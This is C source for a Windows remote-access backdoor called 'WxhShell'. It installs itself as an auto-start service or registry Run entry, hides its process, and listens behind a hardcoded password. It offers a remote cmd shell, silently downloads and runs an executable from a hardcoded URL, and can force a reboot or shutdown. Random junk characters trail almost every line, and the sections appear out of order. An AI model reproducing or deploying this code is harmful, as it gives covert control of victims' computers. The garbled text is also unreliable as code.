    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |F<U;xV$p  
    if(Boot(SHUTDOWN)) }n=Tw92g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)|jBC8|}  
    else { Y8.0R-:ZAN  
    closesocket(wsh); j='Ne5X1  
    ExitThread(0);  _+|*  
    } [lS'GszA  
    break; |:!#k A  
    } -iBu:WyY$  
  // 获取shell U,iTURd  
  case 's': { #.9Xkn9S  
    CmdShell(wsh); BxZ}YS:  
    closesocket(wsh); 7`X"B*`~b  
    ExitThread(0); F xFK  
    break; K!|=)G3.`  
  } e hxtNjA  
  // 退出 Yc:b:\0}F6  
  case 'x': { A40 -])'!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PG<N\  
    CloseIt(wsh); 7bsW7;C  
    break; sf\;|`}  
    } Btpx[T  
  // 离开 NXeo&+F  
  case 'q': { TM!R[-\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vz 5:73  
    closesocket(wsh); 1b6gTfU  
    WSACleanup(); xO1d^{~^^  
    exit(1); =AgY8cF!sl  
    break; ,)]ZD H  
        } \`>Y   
  } t T-]Vj.  
  } 6ap,XFRMh  
[FiXsYb.8  
  // 提示信息 q6j]j~JxB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /unOZVr(  
} Q2 rZMK  
  } ip>dHj z  
IZAbW  
  return; GmAE!+"  
} apY m,_  
Q7=J[,V:2  
// shell模块句柄 y9s5{\H  
int CmdShell(SOCKET sock) q<hN\kBs  
{ sE/9~L  
STARTUPINFO si; Pv1psKu  
ZeroMemory(&si,sizeof(si)); Y%=A>~s*c:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {B\.8)&8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &-cI|  
PROCESS_INFORMATION ProcessInfo; MIR17%G  
char cmdline[]="cmd"; Q&QR{?PMD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7/*; rT  
  return 0; <wE2ly&x  
} Jr''S}@|x  
]|[xY8 5}  
// 自身启动模式 |0qk  
int StartFromService(void) 0-|1}/{4  
{ H?'VQ=j  
typedef struct Ab_aB+g ]  
{ xVl90ak  
  DWORD ExitStatus; ;V@} oD+  
  DWORD PebBaseAddress; `gss(o1}  
  DWORD AffinityMask; { @-Q1  
  DWORD BasePriority; ?: meix  
  ULONG UniqueProcessId; n]j(tP  
  ULONG InheritedFromUniqueProcessId; #=O0-si ]P  
}   PROCESS_BASIC_INFORMATION; B;K{Vo:C  
!)\`U/.W  
PROCNTQSIP NtQueryInformationProcess; xE6y9"}!h  
s?`)[K'-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; er qm=)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P$pl  
P?0b-Qr$a  
  HANDLE             hProcess;  )bK<t  
  PROCESS_BASIC_INFORMATION pbi; 6]rrj  
zP9 HYS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /(}V!0\?  
  if(NULL == hInst ) return 0; D!Gm9Pa}  
G3U+BC23E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -y/?w*Cx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [j!0R'T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fptW#_V2  
iww h,(  
  if (!NtQueryInformationProcess) return 0; S [u <vHy  
)>[(HxvfJU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z].>U!7W  
  if(!hProcess) return 0; T8KhmO  
a"&Z!A:Z=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sztnRX_  
 Mys;Il "  
  CloseHandle(hProcess); hCo&SRC/5  
JI*ikco-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F2:7UNy,  
if(hProcess==NULL) return 0; u8W*_;%:  
$ o t"Du  
HMODULE hMod; DI&xTe9k  
char procName[255]; tNUcmiY  
unsigned long cbNeeded; #g|j;{P  
w}(xs)`num  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F)%; gzs  
#!hpe^t  
  CloseHandle(hProcess); 9 /zz@  
NF a ;  
if(strstr(procName,"services")) return 1; // 以服务启动 *U8#'Uan  
m+u>%Ys`  
  return 0; // 注册表启动 )5&m:R9  
} vEgJmHv;  
J}YI-t  
// 主模块 J-QQ!qa0  
int StartWxhshell(LPSTR lpCmdLine) e6_.ID'3  
{ 2;&13%@!  
  SOCKET wsl; ! \gRXP}  
BOOL val=TRUE; We4 FR4`  
  int port=0; vc!S{4bN  
  struct sockaddr_in door; Wh<lmC50(  
+(/Z=4;,[  
  if(wscfg.ws_autoins) Install(); 1a)_Lko  
ad~ qr n\  
port=atoi(lpCmdLine); GqAedz;.  
F9c2JBOM  
if(port<=0) port=wscfg.ws_port; qB=pp!zQ  
(dT!u8Oe  
  WSADATA data; 7<tqT @c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b\+|g9Tm  
cj8r-Vu/N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lLJb3[ e.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \W\6m0-x  
  door.sin_family = AF_INET; KXM-GIRUG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .o-j  
  door.sin_port = htons(port); Lhc@*_2  
<.' cCY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J`8>QMK^5  
closesocket(wsl); s<dD>SU  
return 1; cwD0 ~B  
} P0Jd6"sS"  
$x)'_o}e  
  if(listen(wsl,2) == INVALID_SOCKET) { .ClCP?HG  
closesocket(wsl); 6X jUb  
return 1; -'0AV,{Z  
} Mu( Y6  
  Wxhshell(wsl); {xykf7zp  
  WSACleanup(); 'w!gQ#De  
h1kPsgzR  
return 0; |l? ALP_g  
C0fA3y72  
} SB'YV#--  
BJq}1mn*  
// 以NT服务方式启动 A8RT3OiXA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (gf\VYM-7  
{ f|G7L5-  
DWORD   status = 0; %%Kg'{-:  
  DWORD   specificError = 0xfffffff; q%'ovX(dm  
395o[YZx*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $ i&$ZdX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5]Ra?rF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `MwQ6%lf  
  serviceStatus.dwWin32ExitCode     = 0; Gzfb|9 ,q  
  serviceStatus.dwServiceSpecificExitCode = 0; R] [M_ r  
  serviceStatus.dwCheckPoint       = 0; Gu}x+hG  
  serviceStatus.dwWaitHint       = 0; 5HIpoj;\(  
b mm@oi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6m" 75  
  if (hServiceStatusHandle==0) return; _9@?Th&_e  
 bSR<d  
status = GetLastError(); '; dW'Uwc  
  if (status!=NO_ERROR) E 5t+;vL~  
{ 1;xw)65  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =5/;h+bk+3  
    serviceStatus.dwCheckPoint       = 0; PHK#b.B>a8  
    serviceStatus.dwWaitHint       = 0; 0;H6b=  
    serviceStatus.dwWin32ExitCode     = status; t? A4xk  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]~.J@ 1?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7gMtnwT  
    return; KVcZ@0[S  
  } CU;nrd"  
z-gwNE{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &0eB@8{N  
  serviceStatus.dwCheckPoint       = 0;  ke#;1  
  serviceStatus.dwWaitHint       = 0; 4@V] zfu^Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5p|@)  
} }>w  
L@4zuzmlb  
// 处理NT服务事件,比如:启动、停止 LA?\~rh!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z :9VxZ  
{ j~E +6f \  
switch(fdwControl) HV9SdJOf  
{ SN{*:\>,  
case SERVICE_CONTROL_STOP: 5An0D V5  
  serviceStatus.dwWin32ExitCode = 0; N Sh.g #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1a$V{Eag  
  serviceStatus.dwCheckPoint   = 0; 5y3TlR  
  serviceStatus.dwWaitHint     = 0; u,akEvH~a  
  { U&n>fXTHn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W^ :/0WR  
  } z^/GTY  
  return; ]Z-oUO Z<k  
case SERVICE_CONTROL_PAUSE: 0GYEt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !:<UgbiVv  
  break; M&ij[%i  
case SERVICE_CONTROL_CONTINUE: &a=e=nR5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7ILa H|eN  
  break; |{PJT#W%  
case SERVICE_CONTROL_INTERROGATE: 8-"5|pNc  
  break; ij i.3-  
}; &&}5>kg>d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YU=ZZEVi  
} $uw+^(ut  
Kyp0SZp[  
// 标准应用程序主函数 ^B5cNEO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S@g/Tn  
{ (`]*Y(/2G  
i5KwYoN  
// 获取操作系统版本 S8OVG4-  
OsIsNt=GetOsVer(); DjzUH{6O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )6Q0f  
b'1d<sD  
  // 从命令行安装 , imvA5  
  if(strpbrk(lpCmdLine,"iI")) Install(); -?nT mzRc  
ewrWSffe  
  // 下载执行文件 EO&ACG  
if(wscfg.ws_downexe) { tt ]V$V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WQ}!]$<"y  
  WinExec(wscfg.ws_filenam,SW_HIDE); = (gmd>N  
} eAsX?iaH  
R-Q1YHUQM  
if(!OsIsNt) { )SX6)__  
// 如果时win9x,隐藏进程并且设置为注册表启动 6rQpK&Jx  
HideProc(); v$m[#&O^V?  
StartWxhshell(lpCmdLine); 0 BCGJFZ{  
} OJsd[l3xR  
else m6r )Z5}f  
  if(StartFromService()) ) , ]2`w&k  
  // 以服务方式启动 n<:d%&^n  
  StartServiceCtrlDispatcher(DispatchTable); '95E;RV&  
else )6>|bmpU  
  // 普通方式启动 a*':W%7  
  StartWxhshell(lpCmdLine); 'n[+r}3  
+qUkMx  
return 0; I\upnEKKzZ  
} vA;F]epr!  
~$4.Mf,u  
ZSRR lkU  
"P'&+dH8  
=========================================== e:J'&r& 1  
hO/5>Zv?  
k&A7alw  
ZjZhz`  
`_1(Q9Q  
PDt<lJU+X  
" i.t9jN  
PiQkJ[  
#include <stdio.h> 5eOj, [?  
#include <string.h> BY*2yp}7  
#include <windows.h> rj,K`HD  
#include <winsock2.h> %XI"<Y\yL  
#include <winsvc.h> '}Wu3X  
#include <urlmon.h> `(,*IK a  
{@V3?pG?p  
#pragma comment (lib, "Ws2_32.lib") }xb_s  
#pragma comment (lib, "urlmon.lib") qo6LC>Qg  
>&;>PZBPCO  
#define MAX_USER   100 // 最大客户端连接数 l#b|@4:I  
#define BUF_SOCK   200 // sock buffer +`*qlP;  
#define KEY_BUFF   255 // 输入 buffer [vWkAJ'K  
`pi-zE)  
#define REBOOT     0   // 重启 t0bhXFaiE  
#define SHUTDOWN   1   // 关机 abo>_"9-  
~`2&'8  
#define DEF_PORT   5000 // 监听端口 QtY hg$K3  
b0YiQjS6>  
#define REG_LEN     16   // 注册表键长度 nuSN)}b<Q  
#define SVC_LEN     80   // NT服务名长度 -XVEV  
!ww:O|0  
// 从dll定义API j/H>0^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %{7_E*I@n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F gWkcV6B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0+}EA[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5L-lpT8P  
[0u.}c;(  
// wxhshell配置信息 6F*-qb3  
struct WSCFG { ;%u_ ;,((  
  int ws_port;         // 监听端口 Tr8AG>  
  char ws_passstr[REG_LEN]; // 口令 2(m85/Hr\;  
  int ws_autoins;       // 安装标记, 1=yes 0=no R CBf;$O  
  char ws_regname[REG_LEN]; // 注册表键名 : 8^M5}  
  char ws_svcname[REG_LEN]; // 服务名 O3kg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~h)@e\Kc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6?V<BgCC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a)!![X?\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9- xlvU,o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mRhd/|g*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7fju  
t7w-TJvP  
}; vi]r  
&8<<!#ob  
// default Wxhshell configuration 0R HS]cN  
struct WSCFG wscfg={DEF_PORT, khU6*`lQ  
    "xuhuanlingzhe", 7/H^<%;y  
    1, A~Z6jK  
    "Wxhshell", 1, "I=  
    "Wxhshell", ~+O`9&  
            "WxhShell Service", K8HIuQ!=  
    "Wrsky Windows CmdShell Service", #l*a~^dhqC  
    "Please Input Your Password: ", o84UFhm   
  1, 3CR@' qG-  
  "http://www.wrsky.com/wxhshell.exe", ;,1=zhKU.  
  "Wxhshell.exe" lPM3}52Xu  
    }; pOC% oj  
f64(a\Rw!^  
// 消息定义模块 M1oPOC\0.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $hkq>i \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5D,.^a1 A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b4>``n  
char *msg_ws_ext="\n\rExit."; XE_ir Et  
char *msg_ws_end="\n\rQuit."; ?y ~TCqV  
char *msg_ws_boot="\n\rReboot..."; I=K!)X$  
char *msg_ws_poff="\n\rShutdown..."; NO-k-  
char *msg_ws_down="\n\rSave to "; 'lJEHz\  
?X\3&Ujy$  
char *msg_ws_err="\n\rErr!"; `|$'g^eCL  
char *msg_ws_ok="\n\rOK!"; {5^K Xj$B  
\6{krn|  
char ExeFile[MAX_PATH]; lVPOYl%  
int nUser = 0; 9G0D3F  
HANDLE handles[MAX_USER]; s\[LpLt  
int OsIsNt; pzp,t(%j  
&+ KyPY+  
SERVICE_STATUS       serviceStatus; t3PtKgP-6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7vn%kW=$  
L}'Yd'  
// 函数声明 &&=[Ivv  
int Install(void); hAm/mu  
int Uninstall(void); 4/S=5r}  
int DownloadFile(char *sURL, SOCKET wsh); Hd9XfU  
int Boot(int flag); Ju!(gh  
void HideProc(void); z{9=1XY  
int GetOsVer(void); % Y~>Jl  
int Wxhshell(SOCKET wsl); dsJm>U)  
void TalkWithClient(void *cs); *LANGQ"2(i  
int CmdShell(SOCKET sock); &59F8JgJ  
int StartFromService(void); .it#`Yz;  
int StartWxhshell(LPSTR lpCmdLine); vCw<G6tD  
=#qZ3 Qz_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L!t@-5~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,CP 5~4u  
k<a;[_S  
// 数据结构和表定义 .evbE O5  
SERVICE_TABLE_ENTRY DispatchTable[] = |EKu2We*  
{ ,57$N&w  
{wscfg.ws_svcname, NTServiceMain}, =; 0wFwSz  
{NULL, NULL} !b8uLjd;  
}; \v+u;6cx_  
~#R9i^Y  
// 自我安装 'JieIKu  
int Install(void) C|MQ $~5:w  
{ EIjI!0j  
  char svExeFile[MAX_PATH];  MJ`N,E[  
  HKEY key; $9 +YNgW>  
  strcpy(svExeFile,ExeFile); &-%>q B|*  
1B|8ZmFJj  
// 如果是win9x系统,修改注册表设为自启动 e,>%Z@92(  
if(!OsIsNt) { bB!#:j>(v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8) N@qUV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .N,&Uv-  
  RegCloseKey(key); >nzu],U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oH^(qZ8W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O*[{z)M.  
  RegCloseKey(key); `s|]"'rX  
  return 0; L*h{'<Bz  
    } 7FLXx?nLY  
  } :_ROJ  
} %f j+70  
else { {%C*{,#+8q  
G?AG:%H%  
// 如果是NT以上系统,安装为系统服务 <A >)[u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VIC0}LT0R  
if (schSCManager!=0) Z&Y=`GOI  
{ $<nCXVqL,  
  SC_HANDLE schService = CreateService %@Oma  
  ( & $'z  
  schSCManager, \8S ~c8Z~  
  wscfg.ws_svcname, uI~s8{0T6  
  wscfg.ws_svcdisp, )[L^Dmd,  
  SERVICE_ALL_ACCESS, 0fm*`4Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Df4+^B,1  
  SERVICE_AUTO_START, 5!I4l1  
  SERVICE_ERROR_NORMAL, Q8D&tJg  
  svExeFile, 8'Z:ydj^,  
  NULL, a2w T6jY  
  NULL, Ml?~ |_  
  NULL, j'?7D0>  
  NULL, #*9-d/K  
  NULL  7I=C+  
  );  J@_ctGv  
  if (schService!=0) %' $o"  
  { ujFzJdp3k  
  CloseServiceHandle(schService); s&a1y~rv  
  CloseServiceHandle(schSCManager); Aw5pd7qKL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a(IY\q[Wh  
  strcat(svExeFile,wscfg.ws_svcname); *T`-|H*6@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SJ?6{2^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6Wj^*L!  
  RegCloseKey(key); <IJu7t>  
  return 0; (xl\J/  
    } d>0 +A)6>  
  } K4Sk+ v  
  CloseServiceHandle(schSCManager); }|\d+V2On  
} /PzcvN  
} 31WC=ur5  
'sh~,+g  
return 1; o:S0*  
} mYxyWB  
dq\FBwfe  
// 自我卸载 6at1bQ$  
int Uninstall(void) bWWXc[O2&(  
{ vb Y3;+M>  
  HKEY key;  6e,xDr  
.IarkeCtb  
if(!OsIsNt) { 7O5`v(<9n>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6$U]9D  
  RegDeleteValue(key,wscfg.ws_regname); /./"x~@  
  RegCloseKey(key); [AU II*:}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `B/0iA  
  RegDeleteValue(key,wscfg.ws_regname); uo\ .7[1  
  RegCloseKey(key); >Dw~P OMy  
  return 0; ^3VR-u<O  
  } = ?D(g  
} tVuWVJ4M  
} _"@CGXu  
else { ;0rGiWC#  
'e)^m}:?D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,`D~py,  
if (schSCManager!=0) dU)]:>Uz  
{ a"N4~?US  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?BA]7M(,4  
  if (schService!=0) 54lu2gD'  
  { mw$r$C{  
  if(DeleteService(schService)!=0) { aNcd` $0  
  CloseServiceHandle(schService); S$TmZk=  
  CloseServiceHandle(schSCManager); fyTAou6hI  
  return 0; , DdB^Ig<r  
  } E 99hlY~1:  
  CloseServiceHandle(schService); $YxBE`)d-  
  } (*}yjUYLZ  
  CloseServiceHandle(schSCManager); S$)*&46g  
} >Y7a4~ufko  
} ^d}gpin  
}KUd7[s  
return 1; GSclK|#t E  
} +T/FeVQ  
q<y#pL=k"*  
// 从指定url下载文件 I V%zO+  
int DownloadFile(char *sURL, SOCKET wsh) m>USD? i  
{ > fnh+M  
  HRESULT hr; *IgE)N >  
char seps[]= "/"; De7T s  
char *token; =4V&*go*\  
char *file; *B`Zq)  
char myURL[MAX_PATH]; gE#>RM5D  
char myFILE[MAX_PATH]; j',W 64  
k@zy  
strcpy(myURL,sURL); v+p {|X-  
  token=strtok(myURL,seps); d->|EJP  
  while(token!=NULL) &'cL%.  
  { vEf4HZ&w  
    file=token; hfpJ+[  
  token=strtok(NULL,seps); XL#[ %X9  
  } {{V8;y  
#^m0aB7r  
GetCurrentDirectory(MAX_PATH,myFILE); =q N2Xg/  
strcat(myFILE, "\\"); rpeJkG@+  
strcat(myFILE, file); SJD@&m%?[  
  send(wsh,myFILE,strlen(myFILE),0); u\&b4=nL  
send(wsh,"...",3,0); P96pm6H_;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +]=e;LN$0  
  if(hr==S_OK) EY*(Bw  
return 0; R1Sy9x .  
else HhO".GA  
return 1; hxce\OuU0h  
%ZHP2j %~  
}  "KcA  
n>@oBG)!  
// 系统电源模块 W3`>8v1?o  
int Boot(int flag) pv| Pm  
{ R$;n)_H  
  HANDLE hToken; @`\VBW  
  TOKEN_PRIVILEGES tkp; (&/2\0QV  
}VDqj}is  
  if(OsIsNt) { wFG3KzEq ~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *s@Qtgu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U qG .:@T  
    tkp.PrivilegeCount = 1; +`3!I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V_plq6z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P[s8JDqu  
if(flag==REBOOT) { fw ,\DFHO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Aw&tP[N[  
  return 0; U,nEbKJgk  
}  KWLbD#  
else { X,9 M"E 2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v<Bynd-  
  return 0; ECv)v  
} l5L.5 $N  
  } ^vG8#A}]  
  else { <uj 8lctmP  
if(flag==REBOOT) { >0Q|nCx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xf|mlHS+  
  return 0; 1lv2@QH9  
} v\(2&*  
else { d)~Fmi;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qI^ /"k*5  
  return 0; n3J53| %v  
} C6rg<tCH  
} NcY608C  
B"%{i-v>**  
return 1; AT5aDEb^^  
} 6uKTGc4  
Jx'i2&hGN  
// win9x进程隐藏模块 M'_9A  
void HideProc(void) Tw +  
{ `xrmT t X  
5dZ|!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1sYEZO;  
  if ( hKernel != NULL ) odIZo|dv  
  { 42]pYm(jk3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;WldHaZ9r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^MBm==heL  
    FreeLibrary(hKernel); DBLO|&2!z[  
  } JEE{QjTh  
fGmT_C0t  
return; CbN!1E6).  
} *Q1~S]g  
]9\!;Bz^J  
// 获取操作系统版本 P./VmY'  
int GetOsVer(void) c6Y\n%d&  
{ ;NNe!}C  
  OSVERSIONINFO winfo; kI%%i>Y}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  \>Efd  
  GetVersionEx(&winfo); /lafve~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Pa@1']  
  return 1; A&>.74}p  
  else V2N_8)s9W  
  return 0; L/"0ws_  
} Y#g4$"G9  
7'OtruJ   
// 客户端句柄模块 TRsE %  
int Wxhshell(SOCKET wsl) ngGO0  
{  6m6zA/  
  SOCKET wsh; <8,cuX\  
  struct sockaddr_in client; ne^imht  
  DWORD myID; _V\Bp=9W  
dg^L=  
  while(nUser<MAX_USER) je]}R>[r5  
{ iDf,e Kk$'  
  int nSize=sizeof(client); )#LpCM,a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Ba[k[b^  
  if(wsh==INVALID_SOCKET) return 1; dMrd_1  
H{t_xL)k.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f-r] |k  
if(handles[nUser]==0) 7#wn<HDY%  
  closesocket(wsh); 8XsguC  
else  f3UXCp  
  nUser++; *3D%<kVl  
  } 0q&'(-{s1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ><=gV~7lx  
q{ O% |  
  return 0; 8Dvazg}4  
} @u1zB:  
v(p mI b{  
// 关闭 socket h&kZjQ&  
void CloseIt(SOCKET wsh) o-o'z'9  
{ Wq^qpN)5Y  
closesocket(wsh); w^]6w\p  
nUser--; d:F @a  
ExitThread(0); hUm'8)OJ  
} d[;.r  
w4fW<ISg  
// 客户端请求句柄 +kFxi2L6  
void TalkWithClient(void *cs) ,6r{VLN  
{ B*E2.\~  
i<(Xr  
  SOCKET wsh=(SOCKET)cs; mXXt'_"  
  char pwd[SVC_LEN]; n#=o?!_4  
  char cmd[KEY_BUFF]; mq%<6/Y U  
char chr[1]; /x1MPP>fu  
int i,j; +d|mR9^([  
asC_$tsMe  
  while (nUser < MAX_USER) { +CI1V>6^  
?Mee 6  
if(wscfg.ws_passstr) { 'FYJMIs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *s;|T?~i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z.}[m,oTF  
  //ZeroMemory(pwd,KEY_BUFF); vp.ZK[/`  
      i=0; O-4C+?V  
  while(i<SVC_LEN) { )$,"u4  
*& m#qEv  
  // 设置超时 t3+Py7qv  
  fd_set FdRead; TXZv2P9  
  struct timeval TimeOut; \Vl`YYjZ  
  FD_ZERO(&FdRead); Jnv@.  
  FD_SET(wsh,&FdRead); |c`w'W?C6  
  TimeOut.tv_sec=8; n-TQ*&h]3S  
  TimeOut.tv_usec=0; ;.bm6(;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WMj}kq)SY)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CSCN['x  
B7"PIkk;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7-BvFEM;  
  pwd=chr[0]; RW P<B0)  
  if(chr[0]==0xd || chr[0]==0xa) { X_v[MW  
  pwd=0; AdWq Q  
  break; $k$4% 7  
  } 6eokCc"o  
  i++; 5K?}}Frrt`  
    } C2{lf^9:&  
D0N9Ksq  
  // 如果是非法用户,关闭 socket \);4F=h}f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vip~'  
} nB] >!q  
XQ*eP?OS{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d,by / .2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q=lAb\i  
vpU#xm.K  
while(1) { r4,VTy2Qe  
CpQN,-4  
  ZeroMemory(cmd,KEY_BUFF); $mCarFV-T  
4BwQA #zE  
      // 自动支持客户端 telnet标准   ~l2aNVv;  
  j=0; LF0sH)e]  
  while(j<KEY_BUFF) { vO;I(^Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]#.]/f >-  
  cmd[j]=chr[0]; R CkaJ3  
  if(chr[0]==0xa || chr[0]==0xd) { { m| pl  
  cmd[j]=0; 7G)H.L)$m"  
  break; PoIl>c1MS  
  } N&[D>G]>v  
  j++; Q#IG;  
    } `~X!Ll  
" ZX3sfkh  
  // 下载文件 Sc7U |s  
  if(strstr(cmd,"http://")) { 4l&g6YneX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /W<>G7%.  
  if(DownloadFile(cmd,wsh)) eu|j=mB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4hw@yTUo  
  else A0%}v*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +,2Jzl'-  
